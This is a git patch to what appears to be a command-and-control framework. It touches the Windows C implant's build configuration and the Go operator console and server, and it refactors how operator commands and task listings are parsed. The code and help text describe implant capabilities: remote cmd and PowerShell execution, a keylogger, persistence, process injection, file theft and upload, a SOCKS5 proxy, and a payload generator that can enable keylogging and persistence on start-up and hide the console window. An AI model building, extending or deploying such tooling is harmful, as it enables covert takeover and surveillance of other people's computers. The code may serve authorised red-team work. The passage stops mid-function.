From 1a7c30cfbdd973b7158f78a1ef9d9ab5b098300a Mon Sep 17 00:00:00 2001 From: Pavlo Khazov Date: Tue, 5 Aug 2025 15:03:12 +0200 Subject: [PATCH] Changed operator's command parsing logic to not panic in certain cases. Changed how "show task" command works and replaced with "tasks", which works both in general and agent contexts --- agent/Makefile | 49 ++- agent/agent.c | 10 +- agent/transport.c | 2 +- agent/transport.h | 2 +- operator/command_processor.go | 42 ++- operator/commands.go | 42 +-- operator/completion.go | 2 +- server/agent_commands.go | 6 +- server/listener_ssl_tcp.go | 6 +- server/operator_commands.go | 73 +++- server/operator_helper.go | 658 ++++++++++++++++++---------------- server/payload_generator.go | 23 +- server/task_handler.go | 3 + 13 files changed, 510 insertions(+), 408 deletions(-) diff --git a/agent/Makefile b/agent/Makefile index a079953..357b715 100644 --- a/agent/Makefile +++ b/agent/Makefile @@ -36,20 +36,30 @@ LDFLAGS = -lws2_32 -liphlpapi INCLUDE_DIR = SRC_DIR = . OBJ_DIR = obj -BIN_DIR = . -EXEC = $(BIN_DIR)/agent.exe +BIN_DIR = bin # Define default flags -CFLAGS = -flto -Os -DTESTING_BUILD +CFLAGS = -DTESTING_BUILD # Define feature flags USE_SSL = FALSE USE_HTTPS = FALSE -USE_WOLFSSL = FALSE ENABLE_PROXY = FALSE ENABLE_PERSISTENCE = FALSE ENABLE_KEYLOGGER = FALSE +# Determine transport type and binary name +ifeq ($(USE_SSL),TRUE) + TRANSPORT = ssl + EXEC = $(BIN_DIR)/agent_ssl.exe +else ifeq ($(USE_HTTPS),TRUE) + TRANSPORT = https + EXEC = $(BIN_DIR)/agent_https.exe +else + TRANSPORT = tcp + EXEC = $(BIN_DIR)/agent_tcp.exe +endif + # Basic source files (always included) SRC_FILES = \ agent.c \ @@ -78,7 +88,7 @@ else CFLAGS += -DENABLE_KEYLOGGER=FALSE endif -# Add transport implementation based on USE_SSL or USE_WOLFSSL +# Add transport implementation based on USE_SSL or USE_HTTPS ifeq ($(USE_SSL),TRUE) CFLAGS += -DUSE_SSL=TRUE LDFLAGS += -lsecur32 @@ -87,11 +97,6 @@ else ifeq ($(USE_HTTPS),TRUE) CFLAGS += -DUSE_HTTPS=TRUE LDFLAGS += -lwinhttp SRC_FILES += transport_http.c -else ifeq ($(USE_WOLFSSL),TRUE) - CFLAGS += -DUSE_WOLFSSL=TRUE - LDFLAGS += -L./lib/wolfssl-compiled/lib -lwolfssl -lcrypt32 - INCLUDE_DIR += -I./lib/wolfssl-compiled/include - SRC_FILES += transport_wolfssl.c else SRC_FILES += transport_tcp.c endif @@ -108,6 +113,16 @@ $(shell mkdir -p $(OBJ_DIR) $(BIN_DIR)) # Default target: Compile and link everything all: $(EXEC) +# Transport-specific targets +tcp: + $(MAKE) USE_SSL=FALSE USE_HTTPS=FALSE + +ssl: + $(MAKE) USE_SSL=TRUE USE_HTTPS=FALSE + +https: + $(MAKE) USE_SSL=FALSE USE_HTTPS=TRUE + # Link the object files into the final executable $(EXEC): $(OBJECTS) $(CC) $(OBJECTS) -o $(EXEC) $(LDFLAGS) @@ -117,20 +132,20 @@ $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c $(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@ # Build with size optimization -size-opt: CFLAGS += -ffunction-sections -fdata-sections -size-opt: LDFLAGS += -Wl,--gc-sections -s +size-opt: CFLAGS += -ffunction-sections -fdata-sections -flto -Os +size-opt: LDFLAGS += -flto -Wl,--gc-sections -s size-opt: clean all @echo "Built with additional size optimizations" # Build without testing code and without console window release: CFLAGS := $(filter-out -DTESTING_BUILD,$(CFLAGS)) -release: LDFLAGS += -mwindows +release: LDFLAGS += -mwindows -s release: clean all @echo "Built release version (no testing code, no console window)" # Clean up object files and the executable clean: - rm -rf $(OBJ_DIR)/*.o $(EXEC) + rm -rf $(OBJ_DIR)/*.o $(BIN_DIR)/agent_*.exe # Optional: Run the program after building run: $(EXEC) @@ -139,8 +154,10 @@ run: $(EXEC) # Show current configuration info: @echo "Build configuration:" + @echo " Transport: $(TRANSPORT)" + @echo " Binary: $(EXEC)" @echo " USE_SSL: $(USE_SSL)" - @echo " USE_WOLFSSL: $(USE_WOLFSSL)" + @echo " USE_HTTPS: $(USE_HTTPS)" @echo " ENABLE_PROXY: $(ENABLE_PROXY)" @echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)" @echo " ENABLE_KEYLOGGER: $(ENABLE_KEYLOGGER)" @@ -153,4 +170,4 @@ info: install: @echo "Install target not implemented." -.PHONY: all clean run info install size-opt release +.PHONY: all clean run info install size-opt release tcp ssl https \ No newline at end of file diff --git a/agent/agent.c b/agent/agent.c index 78b1a9a..bd87d6b 100644 --- a/agent/agent.c +++ b/agent/agent.c @@ -22,7 +22,7 @@ char startup_result[1024]; #if USE_SSL unsigned short int server_port = 8443; char agent_id[] = "SwiftTiger"; - #elif USE_HTTP + #elif USE_HTTPS unsigned short server_port = 8880; char agent_id[] = "NimbleKoala"; #else @@ -195,6 +195,14 @@ void SendHeartbeat(Transport* transport) { LOG("Trying to send heartbeat\n"); SendHeartbeat(transport); } + + // int sent = transport->send(transport->handle, "FINISH", strlen("FINISH")); + // if (sent <= 0) { + // LOG_ERROR("Error: Failed to send \"FINISH\", returned %d\n", sent); + // CleanupTransport(transport); + // return; + // } + CleanupTransport(transport); LOG("Disconnecting from server\n"); diff --git a/agent/transport.c b/agent/transport.c index c74e4ee..fae26da 100644 --- a/agent/transport.c +++ b/agent/transport.c @@ -8,7 +8,7 @@ Transport* InitTransport(char* domain, unsigned short port) { #if USE_SSL return InitSchannelTransport(domain, port, SNI_HOSTNAME); - #elif USE_HTTP + #elif USE_HTTPS return InitHTTPTransport(domain, port); #else return InitTCPTransport(domain, port); diff --git a/agent/transport.h b/agent/transport.h index bad0a58..e5d677c 100644 --- a/agent/transport.h +++ b/agent/transport.h @@ -19,7 +19,7 @@ char* GetNextDomain(); #if USE_SSL extern Transport* InitSchannelTransport(char* domain, unsigned short port, char* sni_hostname); -#elif USE_HTTP +#elif USE_HTTPS extern Transport* InitHTTPTransport(char* domain, unsigned short port); #else extern Transport* InitTCPTransport(char* domain, unsigned short port); diff --git a/operator/command_processor.go b/operator/command_processor.go index e8c489a..5dc9d46 100644 --- a/operator/command_processor.go +++ b/operator/command_processor.go @@ -16,33 +16,43 @@ func processOperatorCommand(command string, conn *tls.Conn, rl *readline.Instanc return false } - // Handle exit command + // Handle exit and quit commands if command == "exit" { // Exit from agent context if currentAgentContext != "" { currentAgentContext = "" rl.SetPrompt("\033[31mSigma >\033[0m ") - // Update tab completion after context change rl.Config.AutoComplete = getCompleter() return false } else { // Exit from application fmt.Println("Exiting...") - conn.Write([]byte(command)) + conn.Write([]byte("exit")) close(doneChan) // signal graceful exit return true } - } - - // Exit from application and disregard context - if command == "quit" { + } else if command == "quit" { // Exit from application and disregard context fmt.Println("Exiting...") conn.Write([]byte("exit")) close(doneChan) // signal graceful exit return true } + // Receive help message + if command == "help" { + if currentAgentContext != "" { + command = "context_help" + conn.Write([]byte(command)) + return false + + } else { + command = "general_help" + conn.Write([]byte(command)) + return false + } + } + // Handle interact command if strings.HasPrefix(command, "interact") { handleInteractCommand(command, rl) @@ -51,14 +61,19 @@ func processOperatorCommand(command string, conn *tls.Conn, rl *readline.Instanc // Handle command in agent context if currentAgentContext != "" && isControlCommand(command) { - command = currentAgentContext + " " + command - } + command = "CONTEXT:" + currentAgentContext + " " + command - if command == "help" { - if currentAgentContext != "" { - command = "context_help" + // Handle command in general context + } else { + // Double check maybe this is not agent context, but command has agent ID in the beginning + cmd := strings.Fields(command) + if slices.Contains(agents, cmd[0]) { + command = "CONTEXT:" + command + + // General command } else { - command = "general_help" + + command = "GENERAL:" + command } } @@ -84,6 +99,7 @@ func runCommandLoop(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{ if err != nil { if err == readline.ErrInterrupt { if len(line) == 0 { + conn.Write([]byte("exit")) fmt.Println("\nExiting...") close(doneChan) // signal graceful exit return diff --git a/operator/commands.go b/operator/commands.go index 90271d8..57fcb60 100644 --- a/operator/commands.go +++ b/operator/commands.go @@ -1,28 +1,24 @@ package main // Available commands fpr tab completion in main context -var availableClobalCommands = []struct { +var availableGeneralCommands = []struct { command string subcommands map[string][]string }{ {"agents", nil}, {"show", map[string][]string{ "agent": {""}, // Updated dynamically - "tasks": {""}, // Updated dynamically "listeners": nil, }}, + {"tasks", nil}, {"clear", map[string][]string{ "tasks": {""}, // Updated dynamically }}, {"listen", map[string][]string{ - "-t": {"ssl", "tcp", "dns"}, - "--transport": {"ssl", "tcp", "dns"}, - "-h": {""}, - "--host": {""}, - "-p": {""}, - "--port": {""}, - "-n": {""}, - "--name": {""}, + "-t": {"ssl", "tcp", "https", "dns"}, + "-h": {""}, + "-p": {""}, + "-n": {""}, }}, {"modules", nil}, {"stop", map[string][]string{ @@ -47,8 +43,8 @@ var availableContextCommands = []struct { {"agents", nil}, {"show", map[string][]string{ "agent": {""}, // Updated dynamically - "tasks": {""}, // Updated dynamically }}, + {"tasks", nil}, {"clear", map[string][]string{ "tasks": {""}, // Updated dynamically }}, @@ -89,20 +85,20 @@ var availableContextCommands = []struct { // Commands which agentID is appended to var implantCommands = []string{ - "sleep", "cmd", "powershell", "runexe", "rundll", "sysinfo", "files", "keylogger", + "tasks", "sleep", "cmd", "powershell", "runexe", "rundll", "sysinfo", "files", "keylogger", "persistence", "download", "upload", "artifacts", "kill", "cleanup", "exit", "cd", "ls", "pwd", "dir", "proxy", "ps", "inject", "spawn", } // Update available listener names for "generate agent" and "generate beacon" and for "stop listeners" func UpdateListenersSubCommands(listeners []string) { - for i := range availableClobalCommands { - switch availableClobalCommands[i].command { + for i := range availableGeneralCommands { + switch availableGeneralCommands[i].command { case "generate": - availableClobalCommands[i].subcommands["agent"] = listeners - availableClobalCommands[i].subcommands["beacon"] = listeners + availableGeneralCommands[i].subcommands["agent"] = listeners + availableGeneralCommands[i].subcommands["beacon"] = listeners case "stop": - availableClobalCommands[i].subcommands["listener"] = listeners + availableGeneralCommands[i].subcommands["listener"] = listeners } } } @@ -110,15 +106,15 @@ func UpdateListenersSubCommands(listeners []string) { // Update available commands to auto-complete agent names func UpdateAgentsSubCommands(agentList []string) { agents = agentList - for i := range availableClobalCommands { - switch availableClobalCommands[i].command { + for i := range availableGeneralCommands { + switch availableGeneralCommands[i].command { case "show": - availableClobalCommands[i].subcommands["agent"] = agentList - availableClobalCommands[i].subcommands["tasks"] = agentList + availableGeneralCommands[i].subcommands["agent"] = agentList + // availableGeneralCommands[i].subcommands["tasks"] = agentList case "clear": - availableClobalCommands[i].subcommands["tasks"] = agentList + availableGeneralCommands[i].subcommands["tasks"] = agentList case "interact": - availableClobalCommands[i].subcommands[""] = agentList + availableGeneralCommands[i].subcommands[""] = agentList } } } diff --git a/operator/completion.go b/operator/completion.go index 7cac154..4a2fcb6 100644 --- a/operator/completion.go +++ b/operator/completion.go @@ -45,7 +45,7 @@ func getCompleter() *readline.PrefixCompleter { } else { // Main context: include global commands and agent IDs with context commands // Add global commands - for _, cmd := range availableClobalCommands { + for _, cmd := range availableGeneralCommands { if cmd.subcommands != nil { var subItems []readline.PrefixCompleterInterface for sub, subsub := range cmd.subcommands { diff --git a/server/agent_commands.go b/server/agent_commands.go index 03de79d..d5e4e7f 100644 --- a/server/agent_commands.go +++ b/server/agent_commands.go @@ -71,14 +71,14 @@ func RunShell(operatorID string, cmdParts []string) { taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil) - response := fmt.Sprintf("Running command '%s %s' on agent %s...", taskType, taskArgs, agentID) - operatorConn.Write([]byte(response)) + // response := fmt.Sprintf("Running command '%s %s' on agent %s...", taskType, taskArgs, agentID) + // operatorConn.Write([]byte(response)) } func HandleNavigation(operatorID string, cmdParts []string) { agentID := cmdParts[0] taskType := cmdParts[1] // cd pwd ls dir - taskArgs := cmdParts[2] + taskArgs := cmdParts[2] // path operatorConn, _ := GetOperatorConn(operatorID) diff --git a/server/listener_ssl_tcp.go b/server/listener_ssl_tcp.go index 8e5913a..74e36f0 100644 --- a/server/listener_ssl_tcp.go +++ b/server/listener_ssl_tcp.go @@ -77,6 +77,7 @@ func ParseAgentMessage(buffer string, n int, agentConn net.Conn) { log.Printf("Message from agent at %s (%d bytes) (truncated): \n%s", agentIP, len(message), truncated) } + // Split message by delimiter messageParts := strings.SplitN(message, "~", 7) if len(messageParts) < 2 { @@ -131,6 +132,9 @@ func ParseAgentMessage(buffer string, n int, agentConn net.Conn) { } else { log.Printf("Invalid file transfer message format") } + case "FINISH": + agentConn.Close() + log.Printf("Agent finished communication loop") default: log.Printf("Unknown message type from agent %s: %s", agentID, messageType) } @@ -204,7 +208,7 @@ func SendTask(agentConn net.Conn, agentID string, task *Task) { } // TODO: adjust this strange logic -// Receive task result from agent (current way of doing so is that sserver +// Receive task result from agent (current way of doing so is that server // waits for 10 secods to receive task result from agent) func ReceiveTaskResult(agentConn net.Conn, agentID string, taskID string) { buffer := make([]byte, 8192) diff --git a/server/operator_commands.go b/server/operator_commands.go index 5073b4c..69abc19 100644 --- a/server/operator_commands.go +++ b/server/operator_commands.go @@ -112,32 +112,67 @@ func ShowAgent(operatorID string, agentID string) { operatorConn.Write([]byte(sb.String())) } -// Show information about certain agent +// ShowTasks lists tasks for a specific agent or all agents if no ID is given func ShowTasks(operatorID string, cmdParts []string) { - var response string - - operatorConn, _ := GetOperatorConn(operatorID) - - agentID := cmdParts[2] - - if _, agentExists := agents.Load(agentID); !agentExists { - response = fmt.Sprintf("Agent %s not found", agentID) - operatorConn.Write([]byte(response)) - return // Return early if the agent doesn't exist. + operatorConn, exists := GetOperatorConn(operatorID) + if !exists { + return } - tasks := taskHandler.ListTasks(agentID) + var sb strings.Builder + tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0) + + // Write header + fmt.Fprintln(tw, "Agent\tTask #\tCommand\tArguments") + fmt.Fprintln(tw, "============\t============\t============\t===============================") + + // Determine if specific agent ID is given + if len(cmdParts) > 1 { + agentID := cmdParts[0] + + if _, agentExists := agents.Load(agentID); !agentExists { + operatorConn.Write([]byte(fmt.Sprintf("Agent %s not found", agentID))) + return + } + + tasks := taskHandler.ListTasks(agentID) + if len(tasks) == 0 { + operatorConn.Write([]byte(fmt.Sprintf("No tasks for agent %s", agentID))) + return + } - if len(tasks) == 0 { - response = fmt.Sprintf("No tasks for agent %s", agentID) - } else { - response = fmt.Sprintf("Tasks for agent %s\n", agentID) for i, task := range tasks { - taskMessage := fmt.Sprintf("Task #%d: command: \"%s\", arguments: \"%s\"\n", i+1, task.Type, task.Args) - response += taskMessage + fmt.Fprintf(tw, "%s\t%d\t%s\t%s\n", agentID, i+1, task.Type, task.Args) + } + + } else { + // List tasks for all agents + hasTasks := false + + agents.Range(func(key, value interface{}) bool { + agentID := key.(string) + tasks := taskHandler.ListTasks(agentID) + + if len(tasks) == 0 { + return true // Skip + } + + hasTasks = true + for i, task := range tasks { + fmt.Fprintf(tw, "%s\t%d\t%s\t%s\n", agentID, i+1, task.Type, task.Args) + } + return true + }) + + if !hasTasks { + operatorConn.Write([]byte("No tasks for any agents")) + return } } - operatorConn.Write([]byte(response)) + + // Flush and send output + tw.Flush() + operatorConn.Write([]byte("Current tasks:\n" + sb.String())) } // Remove all tasks assigned to a agent diff --git a/server/operator_helper.go b/server/operator_helper.go index 953d3ac..2bde242 100644 --- a/server/operator_helper.go +++ b/server/operator_helper.go @@ -13,20 +13,18 @@ import ( var generalHelp string = ` General commands: - agents List all agents that checked-in + agents List active agents show agent Show information about certain agent Usage: show agent - show tasks Show tasks assigned for agent - Usage: show tasks + tasks Show tasks assigned to all agents - clear tasks Remove all tasks assigned to a agent + clear tasks Remove tasks assigned to specific agent Usage: clear tasks - show modules Display all available modules with their details + show modules Display all available modules -Listeners: listen Start a listener with the specified parameters Usage: listen -t ssl -h domain1.com,domain2.com -p 8443 -n listener_ssl_1 Flags: @@ -40,7 +38,6 @@ Listeners: stop listener Stop a specific listener by its name Usage: stop listener -Implants generation: generate Generate a payload for the specified agent type and listener Usage: generate agent|beacon [flags] Flags for agent: @@ -51,12 +48,13 @@ Implants generation: --keylogger Add keylogger module --auto-keylogger Add keylogger module and launch it on start-up --proxy Add SOCKS5 proxy module - --files Enable periodic file transfer ` var contextHelp string = ` Implant Commands: Agent: + tasks Show tasks assigned to agent + sleep Set the connection interval (in seconds) for an agent Usage: sleep @@ -126,10 +124,8 @@ func ParseOperatorCommands(operatorConn net.Conn, operatorID string) { break } operatorCommand := strings.TrimSpace(string(buffer[:n])) - // cmdParts := strings.Fields(operatorCommand) - cmdParts, _ := shlex.Split(operatorCommand) - // Echo the received command + // Echo received command // log.Printf("Received from %s: \"%s\"\n", operatorID, operatorCommand) log.Printf("Received command from operator %s \n", operatorID) @@ -140,313 +136,341 @@ func ParseOperatorCommands(operatorConn net.Conn, operatorID string) { break } - switch { - - case operatorCommand == "general_help": - operatorConn.Write([]byte(generalHelp)) - - case operatorCommand == "context_help": - operatorConn.Write([]byte(contextHelp)) - - case operatorCommand == "agents": - ListAgents(operatorID) - - case strings.HasPrefix(operatorCommand, "show agent"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: show agent ")) - continue - } - ShowAgent(operatorID, cmdParts[2]) - - case strings.HasPrefix(operatorCommand, "show tasks"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: show tasks ")) - continue - } - ShowTasks(operatorID, cmdParts) - - case strings.HasPrefix(operatorCommand, "clear tasks"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: clear tasks ")) - continue - } - ClearTasks(operatorID, cmdParts) - - case operatorCommand == "show modules" || operatorCommand == "modules": - ShowModules(operatorID) - - // Listener commands - case strings.HasPrefix(operatorCommand, "listen"): - - // Set up flag parsing - flags := flag.NewFlagSet("listen", flag.ContinueOnError) - var transport, hosts, port, name string // Required flags - - flags.StringVar(&transport, "t", "", "Transport protocol: tcp, ssl, https or dns") - flags.StringVar(&transport, "transport", "", "Transport protocol: tcp, ssl, https or dns (long flag)") - flags.StringVar(&hosts, "h", "", "Comma-separated list of hosts for payload generation") - flags.StringVar(&hosts, "host", "", "Comma-separated list of hosts for payload generation (long flag)") - flags.StringVar(&port, "p", "", "Port for the listener") - flags.StringVar(&port, "port", "", "Port for the listener (long flag)") - flags.StringVar(&name, "n", "", "Name for the listener") - flags.StringVar(&name, "name", "", "Name for the listener (long flag)") - - // Parse flags - if err := flags.Parse(cmdParts[1:]); err != nil { - operatorConn.Write([]byte("Error parsing flags. Usage: listen -t -h -p -n \n")) - continue - } - // Validate required fields - if transport == "" || hosts == "" || port == "" || name == "" { - operatorConn.Write([]byte("Missing required flags. Usage: listen -t -h -p -n \n")) - continue - } - // Parse and store hosts as a slice - hostSlice := strings.Split(hosts, ",") - for i := range hostSlice { - hostSlice[i] = strings.TrimSpace(hostSlice[i]) - } - // Start the listener - StartAgentListener(transport, hostSlice, port, name, operatorConn) - - // Show all active listeners - case operatorCommand == "show listeners": - ListListeners(operatorID) - - // Stop certain listener - case strings.HasPrefix(operatorCommand, "stop listener"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: stop listener ")) - continue - } - StopListener(cmdParts[2], operatorConn) - - // Payload generation - case strings.HasPrefix(operatorCommand, "generate"): - if len(cmdParts) < 3 { - operatorConn.Write([]byte("Usage: generate [--interval 15 --delay 10 --auto-persistence --auto-keylogger]")) - continue - } - // Extract flags - flagArgs := cmdParts[3:] - - flags := flag.NewFlagSet("generate", flag.ContinueOnError) - var persistence, auto_persistence, keylogger, auto_keylogger, proxy, files bool // Optional flags - var interval, delay int - - flags.IntVar(&interval, "interval", 5, "Set interval between connections") - flags.IntVar(&delay, "delay", 5, "Set startup interval") - - flags.BoolVar(&persistence, "persistence", false, "Add persistence module") - flags.BoolVar(&keylogger, "keylogger", false, "Add keylogger module") - - flags.BoolVar(&proxy, "proxy", false, "Add proxy module") - - flags.BoolVar(&auto_persistence, "auto-persistence", false, "Add persistence module and enable it on start-up") - flags.BoolVar(&auto_keylogger, "auto-keylogger", false, "Add keylogger module and enable it on start-up") - - // Parse flags - if err := flags.Parse(flagArgs); err != nil { - operatorConn.Write([]byte("Error parsing flags. Usage: generate [--auto-persistence --auto-keylogger --proxy]\n")) - continue - } - log.Printf("Connection interval is set to %d seconds", interval) - - if persistence { - log.Printf("Persistence module added") - } - if auto_persistence { - log.Printf("Persistence enabled on start-up") - } - if keylogger { - log.Printf("Keylogger module added") - } - if auto_keylogger { - log.Printf("Keylogger enabled on start-up") - } - if files { - log.Printf("SOCKS5 proxy enabled") - } - - operatorConn.Write([]byte("Trying to generate payload")) - - payloadType := cmdParts[1] - listenerName := cmdParts[2] - GeneratePayload(payloadType, listenerName, interval, delay, persistence, auto_persistence, keylogger, auto_keylogger, proxy, files, operatorConn) - - // Agent tasks - case strings.Contains(operatorCommand, "sleep"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: sleep ")) - continue - } - sleepTimeStr := cmdParts[2] - sleepTime, err := strconv.Atoi(sleepTimeStr) - - if err != nil { - message := fmt.Sprintf("Invalid sleep time: %s. Must be an integer", sleepTimeStr) - operatorConn.Write([]byte(message)) - continue - } - if sleepTime < 0 { - message := fmt.Sprintf("Invalid sleep time: %d. Must be a non-negative integer", sleepTime) - operatorConn.Write([]byte(message)) - continue - } - SleepAgent(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "cmd"): - if len(cmdParts) < 3 { - operatorConn.Write([]byte("Usage: cmd ")) - continue - } - // Join cmd commands and arguments - cmdParts[2] = strings.Join(cmdParts[2:], " ") - RunShell(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "powershell"): - if len(cmdParts) < 3 { - operatorConn.Write([]byte("Usage: powershell ")) - continue - } - // Join pwoershell commands and arguments - cmdParts[2] = strings.Join(cmdParts[2:], " ") - RunShell(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "sysinfo"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: sysinfo")) - continue - } - SendSysInfo(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "files"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: files")) - continue - } - SendFiles(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "runexe"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: runexe ")) - continue - } - PrepareModule(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "rundll"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: rundll ")) - continue - } - PrepareModule(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "inject"): - if len(cmdParts) != 4 { - operatorConn.Write([]byte("Usage: inject ")) - continue - } - PrepareModule(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "spawn"): - // cmdParts, _ = shlex.Split(operatorCommand) - if len(cmdParts) < 4 || len(cmdParts) > 5 { - operatorConn.Write([]byte("Usage: spawn ")) - continue - } - PrepareModule(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "download"): - // cmdParts, _ = shlex.Split(operatorCommand) - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: download \"C:/Users/John/Desktop/file1.txt\"\n download \"C:/Program Files/folder1\"")) - continue - } - operatorConn.Write([]byte(fmt.Sprintf("Downloading file %s", cmdParts[2]))) - DownloadFile(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "upload"): - // cmdParts, _ = shlex.Split(operatorCommand) - if len(cmdParts) < 3 { - operatorConn.Write([]byte("Usage: upload \"/home/user/file1.txt\" \"C:/Users/John/Desktop/file1.txt\"")) - continue - } - UploadFile(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "cd"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: cd ")) - continue - } - HandleNavigation(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "ls") || strings.Contains(operatorCommand, "dir") || strings.Contains(operatorCommand, "pwd"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: ls / dir / pwd")) - continue - } - ShowDirectory(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "ps"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: ps")) - continue - } - GetProcesses(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "keylogger"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: keylogger start|stop|report")) - continue - } - operatorConn.Write([]byte(fmt.Sprintf("Trying to %s keylogger on %s", cmdParts[1], cmdParts[0]))) - Keylogger(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "persistence"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: persistence add|remove")) - continue - } - operatorConn.Write([]byte(fmt.Sprintf("Checking persistence %s", cmdParts[2]))) - Persistence(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "proxy"): - if len(cmdParts) != 3 { - operatorConn.Write([]byte("Usage: proxy ")) - continue - } - operatorConn.Write([]byte(fmt.Sprintf("Trying to %s proxy on %s", cmdParts[2], cmdParts[0]))) - Proxy(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "kill"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: kill")) - continue - } - operatorConn.Write([]byte(fmt.Sprintf("Killing agent %s", cmdParts[0]))) - Kill(operatorID, cmdParts) - - case strings.Contains(operatorCommand, "cleanup"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: cleanup ")) - continue - } - // operatorConn.Write([]byte(fmt.Sprintf("Tasking agent %s to clean up and self delete", cmdParts[0]))) - Cleanup(operatorID, cmdParts) - - // Beacon only - case strings.Contains(operatorCommand, "artifacts"): - if len(cmdParts) != 2 { - operatorConn.Write([]byte("Usage: artifacts")) - continue - } - operatorConn.Write([]byte(fmt.Sprintf("This command is not supported currently"))) - // operatorConn.Write([]byte(fmt.Sprintf("Trying to get artifacts from beacon %s", cmdParts[0]))) - // GetArtifacts(operatorID, cmdParts) - - default: - operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands")) + // Context command, aka implant command + if strings.HasPrefix(operatorCommand, "CONTEXT:") { + log.Printf("Context command detected: %s", operatorCommand) + operatorCommand = strings.TrimPrefix(operatorCommand, "CONTEXT:") + log.Printf("Command without prefix: %s", operatorCommand) + ParseOperatorContextCommands(operatorCommand, operatorID, operatorConn) } + // General aka management command + if strings.HasPrefix(operatorCommand, "GENERAL:") { + log.Printf("General command detected: %s", operatorCommand) + operatorCommand = strings.TrimPrefix(operatorCommand, "GENERAL:") + log.Printf("Command without prefix: %s", operatorCommand) + ParseOperatorGeneralCommands(operatorCommand, operatorID, operatorConn) + } + } +} + +// Prase general commands +func ParseOperatorGeneralCommands(operatorCommand string, operatorID string, operatorConn net.Conn) { + cmdParts, _ := shlex.Split(operatorCommand) + + switch { + + case operatorCommand == "general_help": + operatorConn.Write([]byte(generalHelp)) + + case operatorCommand == "context_help": + operatorConn.Write([]byte(contextHelp)) + + case operatorCommand == "agents": + ListAgents(operatorID) + + case strings.HasPrefix(operatorCommand, "show agent"): + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: show agent ")) + return + } + ShowAgent(operatorID, cmdParts[2]) + + case cmdParts[0] == "tasks": + ShowTasks(operatorID, cmdParts) + + case strings.HasPrefix(operatorCommand, "clear tasks"): + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: clear tasks ")) + return + } + ClearTasks(operatorID, cmdParts) + + case operatorCommand == "show modules" || operatorCommand == "modules": + ShowModules(operatorID) + + // Show all active listeners + case operatorCommand == "show listeners": + ListListeners(operatorID) + + // Listener commands + case cmdParts[0] == "listen": + + // Set up flag parsing + flags := flag.NewFlagSet("listen", flag.ContinueOnError) + var transport, hosts, port, name string // Required flags + + flags.StringVar(&transport, "t", "", "Transport protocol: tcp, ssl, https or dns") + flags.StringVar(&transport, "transport", "", "Transport protocol: tcp, ssl, https or dns (long flag)") + flags.StringVar(&hosts, "h", "", "Comma-separated list of hosts for payload generation") + flags.StringVar(&hosts, "host", "", "Comma-separated list of hosts for payload generation (long flag)") + flags.StringVar(&port, "p", "", "Port for the listener") + flags.StringVar(&port, "port", "", "Port for the listener (long flag)") + flags.StringVar(&name, "n", "", "Name for the listener") + flags.StringVar(&name, "name", "", "Name for the listener (long flag)") + + // Parse flags + if err := flags.Parse(cmdParts[1:]); err != nil { + operatorConn.Write([]byte("Error parsing flags. Usage: listen -t -h -p -n \n")) + + } + // Validate required fields + if transport == "" || hosts == "" || port == "" || name == "" { + operatorConn.Write([]byte("Missing required flags. Usage: listen -t -h -p -n \n")) + + } + // Parse and store hosts as a slice + hostSlice := strings.Split(hosts, ",") + for i := range hostSlice { + hostSlice[i] = strings.TrimSpace(hostSlice[i]) + } + // Start the listener + StartAgentListener(transport, hostSlice, port, name, operatorConn) + + // Stop certain listener + case strings.HasPrefix(operatorCommand, "stop listener"): + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: stop listener ")) + return + } + StopListener(cmdParts[2], operatorConn) + + // Payload generation + case cmdParts[0] == "generate": + if len(cmdParts) < 3 { + operatorConn.Write([]byte("Usage: generate [--interval 15 --delay 10 --auto-persistence --auto-keylogger]")) + return + } + // Extract flags + flagArgs := cmdParts[3:] + + flags := flag.NewFlagSet("generate", flag.ContinueOnError) + var persistence, auto_persistence, keylogger, auto_keylogger, proxy, files bool // Optional flags + var interval, delay int + + flags.IntVar(&interval, "interval", 5, "Set interval between connections") + flags.IntVar(&delay, "delay", 5, "Set startup interval") + + flags.BoolVar(&persistence, "persistence", false, "Add persistence module") + flags.BoolVar(&keylogger, "keylogger", false, "Add keylogger module") + + 